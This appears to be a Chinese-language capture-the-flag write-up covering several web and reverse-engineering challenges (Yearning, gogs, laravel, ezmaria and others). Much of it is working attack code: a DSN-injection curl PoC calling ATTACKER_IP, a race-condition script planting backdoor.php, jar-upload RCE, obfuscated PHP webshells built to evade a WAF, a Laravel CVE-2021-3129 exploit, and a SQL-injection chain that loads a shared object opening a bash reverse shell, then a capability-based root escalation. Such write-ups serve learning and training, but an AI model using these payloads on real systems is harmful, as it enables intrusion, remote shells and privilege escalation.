可以发现,只是判断了两个 HTTP 请求头,而 websocket 的交互过程需要服务端返回 101 才能正常建立。因此,带这两个头请求 API 时,可以绕过 Recorder 鉴权,而不影响 Endpoint 控制器处理流程。
有一点需要注意的是,在这种绕过方法下,控制器代码也不能包括任何对于 jwt 的解析,否则会报错,无法继续。
从众多的路由中谨慎地选出了一个,YearningFetchApis -> FetchResourceForGet -> FetchTableInfo -> FetchTableFieldsOrIndexes
其中 model.CoreDataSource 在题目环境中不存在相应记录,也就是说只有 u.DataBase 可控。
函数 NewDBSub() 使用 sql driver 打开了 DSN 连接,InitDSN() 最终会调用到 FormatDSN() 将 DSN 结构体转换为字符串,继续跟进。
可以发现,这里直接将我们可控的 DBName 写入了 connection string 中,而且我们的目标,LOCAL INFILE 的开启选项 allowAllFiles 就在底下。如果能够构造字符串混淆 DSN 的解析,使其连接到恶意 MySQL 服务器,再开启这个参数,就可以直接读 /flag 了。
再看解析流程,可以发现它是从后往前匹配的,也就是说我们可以在 dbname 后插入 ‘/’ 以覆盖参数,同样插入 ‘@’ 覆盖 net(addr),用户名不可控,但是这不重要。
至此,攻击链已经构造完成,poc 非常简单:
curl -vv -H "Connection: upgrade" -H "Upgrade: websocket" "http://106.14.121.29:30167/api/v2/fetch/fields?data_base=@tcp(ATTACKER_IP:3306)/db?allowAllFiles=true%26&table=1"
(附注:一直习惯在 github 上翻最新的源代码,默认各组件几乎都是 up-to-date 的。但是本 Yearning 引入的 go-sql-driver 版本为 1.7.3,而如下的 issue 修复了这个问题。
- web >> moonbox
首先在 Dockerfile 里可以发现 root 弱密码以及 SSH 开启。
然后简单地审一下源代码,/api/console-agent/fileUpload 可以上传 sandbox-agent.tar,/api/record/run 可以连接到目标 SSH 执行如下代码片段(RecordRunController.run() -> AbstractTaskRunService.taskRun() -> AgentDistributionServiceImpl.startAgent() -> startServerAgent()
)。由于 tar 包内容我们可控,直接覆盖底下那个 start-remote-agent.sh 连本机弹 rev shell 即可。
- web >> stack_overflow
代码数据混淆,第一个 read 在 23 行,而一下子可以读进来 28 行,覆盖接下来的指令。正则的 waf 过滤不完全,两个 {{ }} 之间可以使用换行符绕过,且不影响 eval() 正常执行。然后随便构造回显即可。
{"stdin":["","","","","","","","","","","","","","","","","","","","","","","23","24","{{respond[0]=process.mainModule.require('child_process').execSync('cat /flag').toString()\n}}","result","write","exit"]}
-
web >> noumisotuitennnoka
注意到先 put_file_contents backdoor.php 再 .htaccess ,存在 race condition,开多个线程竞争 create 跟 zip,爆率在千分之一左右。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
import requests import threading import random, string, time url = "http://URL:PORT/" requests.get(url) batch = 200 subdir = ['/'+''.join(random.choices(string.ascii_lowercase, k=8)) for _ in range(batch)] def create(s): requests.get(url, params={'action': 'clean', 'subdir': s}) def t1(): requests.get(url, params={'action': 'create', 'subdir': s}) print('.', end='', flush=True) def t2(): requests.get(url, params={'action': 'zip', 'subdir': s}) print('!', end='', flush=True) threading.Thread(target=t1).start() threading.Thread(target=t2).start() for s in subdir: threading.Thread(target=create, args=(s,)).start() time.sleep(15) lock = threading.Lock() def check(s): time.sleep(random.random()*10) requests.get(url, params={'action': 'unzip', 'subdir': s}) res = requests.get(url.rpartition('/')[0] + '' + s + '/backdoor.php') with lock: if res.status_code in [403, 404]: print(s, 'fail', res.status_code, flush=True) else: print(s, '!!!!', res.text, flush=True) for s in subdir: threading.Thread(target=check, args=(s,)).start() input() |
- web >> easyjava
首先 gateway 使用 /app;/ 绕过 prefix match,访问到 microservice 。
里边的 shiro 版本较新,考虑逻辑漏洞,注意到 /**/*.js 可以不过认证。
路由 staticResource/upload 处有一个 URLDecode 可以引入 %2F ,过正则的是 file.originalName(),但正则没有匹配后缀,拼接一下可以前边控制文件名,后边控制后缀,即 staticResource/upload/custom-drivers%252F1.js%252F1.js
,提交文件 1.js.jar ,即可写入 static/custom-drivers/1.js/1.js.jar
。
路由 addDriver 处可以引入单个或目录下的 jar 文件,在这里使用 addDriver/1.js 即在目录里搜索,绕过后缀 .jar 的限制。
最后根据代码逻辑 validate/1.js 加载到恶意 jar 即可 getshell。
1 2 3 4 5 6 7 8 9 10 11 12 |
URL = 'http://URL:PORT/app;/' import requests, json, io with open('com.rce.jar', 'rb') as f: fc = f.read() res = requests.post(f'{URL}staticResource/upload/custom-drivers%252F1.js%252F1.js', files={'file': ('1.js.jar', io.BytesIO(fc))}) print(res.text) res = requests.get(f'{URL}addDriver/1.js') print(res.text) conf = {'customDriver': 'com.rce.App', 'host': '', 'port': 1, 'username': '', 'password': '', 'dataBase': 'a', 'schema': ''} data = {'configuration': json.dumps(conf), 'type': 'mysql'} res = requests.post(f'{URL}validate/1.js', json=data) print(res.text) |
-
Reverse & Web
在 C:\Windows\winpool.sys 里边找到驱动(更新时间为最近)。
暂不用分析,提取字符串能看到明显的一串 base64,即为 flag1 。
在 C:\Windows\Temp\window.exe 处找到可疑程序(更新日期为最近)。
暂不用分析,先扔到沙箱里跑着,能看到往外出连一个 IP,即为 flag2。
IDA 打开,翻翻代码能找到这种一大长串,然后前边有个加花 jmp 的。
修复完之后一个 F5,能发现其实就是几个简单的异或字符串。
还有一处类似的地方,加起来能解出以下这些字符串:
看一下 winhe1p.exe 就是 wget,没什么花样。456 就是个纯 cmd.exe,也没得玩意。主要是把 hta 弄下来分析。
preBotHta 关键字有了,搜到是响尾蛇APT样本,可以对比着看看。
这里 ad 一眼 H4sIA 起头的,base64 完 gzip 就能看到 flag3。
然后 so 是删减过的 .NET 样本,分析完就知道里边没有 flag,所以可以不用分析。
接着就是迷之注释 exe key 的这种 hex-string,不得不脑洞大开一下,顺利解出:
至于为什么 IV 取 000……,或许这就是先人的智慧。
下一部分,hta 文件里边有这个,怎么看都是 web 的入口点。
不知道干什么的,乱敲键盘 fuzz test,爆出了有意思的错误:
1 2 3 4 5 6 7 8 9 |
172.19.10.2_winkm7":!@$#^*()_ 3<br /> <b>Warning</b>: fopen(C:\challenge\users\172.19.10.2_winkm7":!@$#^*()_ 3): Failed to open stream: No such file or directory in <b>C:\challenge\join.php</b> on line <b>22</b><br /> Crate File Failed.<br /> <b>Fatal error</b>: Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in C:\challenge\join.php:26 Stack trace: #0 C:\challenge\join.php(26): fwrite(false, '2023-11-25 11:1...') #1 C:\challenge\join.php(44): write_log('C:\\challenge\\us...', 'winkm7":!@$#^*(...', 'vt') #2 {main} thrown in <b>C:\challenge\join.php</b> on line <b>26</b><br /> |
然后就可以猜到 hname 被拼入文件名,uname 是文件内容了。顺带目录也出来了。
随即发现有D盾,写不了太明显的马马:
上传点这里的盾比较注重关键词,后边执行点那里的盾比较注重调用链。
所以随便包一层 class 就能过,bin2hex 写入新的 php 文件。
1 2 3 4 5 6 7 8 9 |
<?php class A { public function __call($name, $args) { hex2bin($name)('hello.php', $args[0]); } }; $a = new A(); $b = '66696c655f7075745f636f6e74656e7473'; // file_put_contents $a->$b(hex2bin('3c3f70687020406576616c28245f4745545b305d293b')); |
然后要 eval() 的话,从网上搜来一种骚操作,就是那无穷无尽的 for 与 try 的另一边
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<?php function controller($name) { for ($i = 1; $i > 0; $i--) { foreach ([1] as $v){ try { assert($name); throw new Exception($name); }catch (Exception $exception){ eval($exception->getMessage()); } } } } controller(base64_decode($_GET[0])); |
上线。
冰蝎貌似有点 bug,列不出文件,但不影响拿 flag。
点点就能发现,在 ./tmp/flag1.txt 这里,内容还挺讽刺的哈。
flag2 也就出来了。
然后在 loser.db.bak 里发现一串类似 MD5 的东西。 net user 里边有这个用户,目测就是密码。
连上 RDP 就能拿到 flag3
后注:之后的两个 flag 用 CVE-2021-????? 提完权一下子就拿到了,不知道为啥当时没试成功……
-
web >> ggos
翻了一遍现成的洞,然后就是迫真挖 0day 了。
CVE-2022-0415 比较重要,具体来说就是利用未过滤的路径写入 .git/config 然后利用 sshCommand 来 getshell。它的 patch 比较完全,硬过滤了路径中 .git/ 的部分,无法绕过。
然后在众多的选项中慎重地选出了一个:考虑 symlink 的处理。众所周知,git 是支持 symlink 的,在同步时会保留其 120000 的属性,文件内容为所指向的路径。
但本次的 gogs 并非直接对 symlink 文件进行 IO 操作,而是经由自定义的 git 模块处理文件层级关系,也就是说,直接读出来的会是该 symlink 所指向的路径字符串,不存在任意读的问题。
从 internal/cmd/web.go 入手,逐条审计路由。
注意到 wiki/:page/ 系列,其可对 wiki repo 下的 .md 文件进行读写操作。
可能之前爆过类似的洞,这里虽然对 repo 中的文件进行 IO 操作了,但是在原来的 symlink 被删除之后。
接着来到 /_edit/* /_new/* 处,可以发现这里也存在过滤,无法对 symlink 写入。
然后就找到了触发点1:/_preview/* ,其 preview 的逻辑为,先把更新后的文件内容写入 repo 内原文件,然后调用 git diff 获取输出结果。这下BBQ了,直接调用 os.WriteFile 覆写 symlink 文件,也就是说覆盖的其实是所链接至的文件内容,存在任意写。从而可覆盖 .git/config 来 getshell。
最后发现了触发点2:/_upload/*,该系统上传单文件的逻辑为,首先 /upload-file 上传至临时位置(路径全不可控),然后转至该路由将文件覆盖过来。跟随其调用链:
internal/route/repo/editor.go: UploadFilePost(c *context.Context, f form.UploadRepoFile)
internal/db/repo_editor.go: UploadRepoFiles(doer *User, opts UploadRepoFileOptions)
github /unknwon/com/file.go: Copy(src, dest string)
可以发现,该处直接调用 io.Copy 覆写 symlink 文件,也存在任意写。而之前的各种验证也是一路 green。
这里使用触发点1进行复现:
1. 创建新 repo,在本地配置好 git。
2. 创建至 .git/config 的软链接文件 config,并 push 至目标服务器。
3. 可以发现不存在任意读,转向右侧的“编辑此文件”按钮。
4. 在框内填入恶意 payload,然后点击“预览变更”,即可覆盖 .git/config 。需要特别注意的是,如果在此处覆盖了无效的 config 文件,则之后所有对 repo 的更新操作都会失败,只能删库重来。
5. 看到“没有可以显示的变更”即为覆盖成功。
6. 随便传个文件 commit 触发 git 命令,静候佳音。
触发点2基本同上。
- web >> laravel
CVE-2021-3129,到处都是现成的 PoC。
https://www.ambionics.io/blog/laravel-debug-rce
然后题目环境禁用 phar,但注意到这个洞的本质是:
1 2 |
$contents = file_get_contents($parameters['viewFile']); file_put_contents($parameters['viewFile'], $modified_contents); |
对于 $contents 虽然其内容不可控,但文件路径可控。原 PoC 利用写 log 然后 filter 二次转化成 phar 反序列化,其实可以注意到有一种更简单的写法:直接利用万能 convert.iconv.UTF8.CSISO2022KR 写文件,与 LFI2RCE 的原理是相同的。而对于 $contents,虽然其原内容这样读进来会是一堆乱码,只要先 base64 一次转换为英文字符后即可使用原 filter 链构造出 PHP payload。另一种 ftp 的做法在这里也是麻烦了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
import requests payload = 'php://filter/convert.base64-encode|<...omit...>/resource=/var/www/html/public/index.php' data = { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "request", "viewFile": payload } } res = requests.post('http://URL:PORT/_ignition/execute-solution', json=data) print(res.text) |
然后在 /flag 处读到 flag。
有一个坑点就是,公告后来才补充,环境中只有 public/index.php 可写。。。
- web >> ezmaria
点开就是一个 SQL 注入,sqlmap 能扫出五种方法的那种,secure_file_priv 为空,很显然 /var/www/html 不可写。然后发现存在关键词过滤,load_file() 读一个 index.php :
1 2 |
if (preg_match("/(master|change|outfile|slave|start|status|insert|delete|drop|execute|function|return|alter|global|immediate)/is", $_REQUEST["id"])) die; |
虽然使用 PDO 支持堆叠注入,但能做到的还是比较有限。/etc/shadow 读不了,目测也不是 root 权限。最主要的是 FUNCTION 被过滤了,在 udf 注入的过程中 CREATE FUNCTION SONAME 这个 statement 是必须的。本来想着通过 PROCEDURE 搞点动作,直接写同版本 .frm .MAI .MAD 添加表结构数据,弄来弄去最终还是没有成功。
然后注意到除了 UDF,还存在一个 INSTALL PLUGIN 的功能,同样也是加载 plugin_dir 里边的 so 文件。配它的编译环境又配了好一会,最后才发现无论如何,它都是得先 dlopen() 的,于是接下来可以使用跟 LD_PRELOAD 注入一样的流程:
1 2 3 4 5 6 7 8 |
// gcc -fPIC -shared -o preload.so preload.c -nostartfiles -nolibc #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { system("/bin/bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'"); } |
在目标机器上执行 INSTALL PLUGIN
,虽然有报错提示,但此时已经成功反弹 shell。
1 2 |
MariaDB [mysql]> install plugin preload soname 'preload.so'; ERROR 1127 (HY000): Can't find symbol '_mysql_plugin_interface_version_' in library |
但在题目环境中,数据库没有初始化,得恢复 mysql.plugin 表后才可正常载入。由于 CREATE TABLE
未被过滤,可直接 dump 后导入。过滤的情况下,也可通过覆盖表数据文件来恢复。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
import requests def load(file, path): with open(file, 'rb') as f: c = f.read() return 'SELECT 0x' + c.hex() + " INTO DUMPFILE '" + path + "'" def once(sql): data = {'id': f'-1; {sql}; #'} res = requests.post('http://IP:PORT/', data=data) print(res.status_code) once('CREATE DATABASE mysql') once("""CREATE TABLE `mysql`.`plugin` ( `name` varchar(64) NOT NULL DEFAULT '', `dl` varchar(128) NOT NULL DEFAULT '', PRIMARY KEY (`name`) ) ENGINE=Aria DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci PAGE_CHECKSUM=1 TRANSACTIONAL=1 COMMENT='MySQL plugins' """) once(load('preload.so', '/mysql/plugin/preload.so')) once(load('preload_cap.so', '/mysql/plugin/preload_cap.so')) once('INSTALL PLUGIN preload SONAME "preload.so"') |
拿到 shell 后,根据提示,找到带有 caps 的文件。
1 2 |
<65889d6d-kc876:/mysql/data$ getcap -r / 2>/dev/null /usr/bin/mariadb cap_setfcap=ep |
现在得想办法注入 mariadb 的 client ,利用其 cap_setfcap 进行提权。
在如上的 INSTALL PLUGIN 以后,很容易想到 client 这里也可以进行类似的操作。
特别注意这两个参数:
1 2 3 4 5 6 7 8 |
d6d-kc876:/mysql/data$ mariadb --help mariadb Ver 15.1 Distrib 10.5.19-MariaDB, for debian-linux-gnu (x86_64) using EditLine wrapper Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Usage: mariadb [OPTIONS] [database] --plugin-dir=name Directory for client-side plugins. --default-auth=name Default authentication client-side plugin to use. |
指定 plugin-dir 与 default-auth 后可以使 mariadb 在密码认证时 dlopen() 自定义的 so 文件,而 capabilities 是会在这个过程中保留的。编写 preload_cap.c 以利用这个过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
// gcc -fPIC -shared -o preload_cap.so preload_cap.c -nostartfiles -nolibc -lcap #include <stdio.h> #include <sys/types.h> #include <stdlib.h> #include <sys/capability.h> void _init() { cap_t caps = cap_init(); if (caps == NULL) { perror("cap_init"); exit(EXIT_FAILURE); } cap_value_t cap_list[4]; //cap_list[0] = CAP_SYS_ADMIN; cap_list[0] = CAP_SETFCAP; cap_list[1] = CAP_CHOWN; cap_list[2] = CAP_SETUID; cap_list[3] = CAP_SETGID; if (cap_set_flag(caps, CAP_EFFECTIVE, 4, cap_list, CAP_SET) == -1 || cap_set_flag(caps, CAP_INHERITABLE, 4, cap_list, CAP_SET) == -1 || cap_set_flag(caps, CAP_PERMITTED, 4, cap_list, CAP_SET) == -1) { perror("cap_set_flag"); cap_free(caps); exit(EXIT_FAILURE); } const char *filename = "/tmp/perl"; if (cap_set_file(filename, caps) == -1) { perror("cap_set_file"); cap_free(caps); exit(EXIT_FAILURE); } cap_free(caps); } |
需要特别注意的是,这里的 setfcap 是不会在 system() (该环境中的 sh -> bash)中保留的,所以必须使用 libcap-dev 库中的 API 。同样,这里的 bash 执行新程序的时候 capabilities 也是不会保留的,所以转而使用系统自带的 perl 。
写完后调用 perl 语法的 setuid(0) setgid(0) 即可提权至 root,得到 flag。
1 2 3 4 5 6 7 |
$ cp /usr/bin/perl /tmp/perl $ chmod +x /tmp/perl $ mariadb -hIP -P3306 --plugin-dir=/mysql/plugin/ --default-auth=preload_cap & $ /tmp/perl -e '$> = 0; $) = 0; exec "id";' uid=101(mysql) gid=101(mysql) euid=0(root) egid=0(root) groups=0(root),101(mysql) |
有一个坑点就是,不知道为啥 127.0.0.1:3306 连不上,导致 mariadb 无法触发密码验证的流程。自己在外边开一个 3306 后连上去解决。